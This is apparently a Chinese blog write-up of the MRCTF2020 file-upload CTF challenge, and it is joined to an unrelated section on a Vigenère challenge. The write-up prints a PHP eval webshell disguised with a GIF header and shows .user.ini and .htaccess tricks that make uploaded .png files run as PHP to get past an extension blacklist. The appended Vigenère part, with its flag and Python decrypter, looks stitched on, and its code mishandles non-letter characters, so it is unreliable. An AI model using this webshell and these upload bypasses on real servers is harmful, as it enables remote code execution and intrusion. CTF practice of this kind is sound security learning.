[MRCTF2020]你传你呢 1--详细解析

信息收集

进入靶机,是一个文件上传界面。
在这里插入图片描述
根据题目和界面内容,可以知道考察的是文件上传漏洞。

思路

文件上传的题目,先看看有没有前端校验
查看一下源代码:
在这里插入图片描述没有前端校验。

那我们正常上传一个一句话木马文件试一下:

//shell.php
GIF89a
<?php @eval($_POST[1]);?>

跳转到了upload.php文件下,根据回显得出我们上传失败了。
在这里插入图片描述
那有可能是存在MIME验证,我们把shell.php后缀名修改为png,上传并抓包修改回php,就能绕过MIME验证了。
依旧上传失败。

说明后端可能对文件后缀名或者文件内容进行了过滤
先验证有没有过滤文件内容:
直接上传shell.png文件,如果成功上传就是没有过滤文件内容。
在这里插入图片描述

/var/www/html/upload/0b30fe0d446faf347661fadc83c7bb26/shell.png succesfully uploaded!

上传成功。说明没有过滤文件内容,而是后端对后缀名进行了黑名单过滤

现在我们就知道了网站存在的过滤方式。要想执行恶意代码,有两种方法:
第一种,利用后缀名解析漏洞,上传后缀名不为php,但是会被解析为php的文件。
第二种,上传.user.ini配置文件,将我们上传的png文件的内容解析为php代码。

先尝试第一种:
fuzz测试发现基本上后缀名都被过滤了,该方法行不通。
在这里插入图片描述

那么用第二种方法试一下:

//.user.ini
GIF89a
auto_prepend_file=shell.png

上传文件,记得抓包修改一下MIME类型。成功上传:
在这里插入图片描述

Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/0b30fe0d446faf347661fadc83c7bb26/.user.ini succesfully uploaded!

但是我们上传的文件都被保存在0b30fe0d446faf347661fadc83c7bb26目录下,但是我们不能访问这个目录,而且也不知道目录下有没有php文件存在,.user.ini文件失效。

这里我们学习一个新知识点:.htaccess配置文件
首先,这个文件只适用于Apache服务器,而这道题的环境就是Apache。

当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache
Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache
Web服务器软件所提供的额外功能和特性。

我们需要的.htaccess文件内容是这样的:

AddType application/x-httpd-php .png

意思是将同目录下的所有png文件当作php执行。

上传.htaccess文件(记得修改MIME类型):
在这里插入图片描述
上传成功:

Warning: mkdir(): File exists in /var/www/html/upload.php on line 23
/var/www/html/upload/0b30fe0d446faf347661fadc83c7bb26/.htaccess succesfully uploaded!

访问我们之前上传的木马文件:
在这里插入图片描述成功解析。

想手动POST传参进行RCE,发现执行不了。查看一下phpinfo():
在这里插入图片描述发现禁用了许多函数,其中当然就包括了许多我们RCE常用的系统命令函数。
所以拿蚁剑连接一下,在根目录找到了flag:
在这里插入图片描述终于得到flag。

总结

学到了新的配置文件:.htaccess文件,在之后面对Apache环境的文件上传漏洞时又多了一种应对手段。

### MRCTF2020 Vigenère 1 解题思路 对于MRCTF2020中的Vigenère 1题目,加密方法采用了维吉尼亚密码。通过在线工具解密给定的文本内容,能够揭示出最终的标志(flag),其形式为`mrctf{vigenere_crypto_crack_man}`[^2]。 为了成功破解此题,参与者通常会经历以下几个方面的思考: - **识别加密算法**:确认所使用的具体加密技术是维吉尼亚密码。 - **利用已知信息**:借助提供的线索或模式来推测可能的关键字长度以及部分明文字符。 - **应用适当工具**:运用专门设计用于分析和破解此类古典密码系统的软件资源辅助求解过程。 下面是一个简单的Python代码片段展示如何实现基本的维吉尼亚密码解码逻辑(假设已经知道了密钥): ```python def decrypt_vigenere(ciphertext, key): plaintext = "" key_index = 0 for char in ciphertext: shift = ord(key[key_index % len(key)]) - ord('a') decrypted_char = chr((ord(char.lower()) - ord('a') - shift) % 26 + ord('a')) plaintext += decrypted_char.upper() if char.isalpha(): key_index += 1 return plaintext ciphertext = "CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO" key = "crypto" print(decrypt_vigenere(ciphertext, key)) ``` 这段程序定义了一个名为`decrypt_vigenere()` 的函数,它接收两个参数——被加密的消息(`ciphertext`) 和用来解密它的密钥 (`key`). 函数内部实现了基于字母表循环位移原理的标准维吉尼亚解密流程.
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值